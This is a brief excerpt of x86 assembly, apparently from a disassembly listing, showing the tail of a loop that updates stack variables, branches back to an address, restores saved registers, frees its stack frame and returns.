add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403190
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret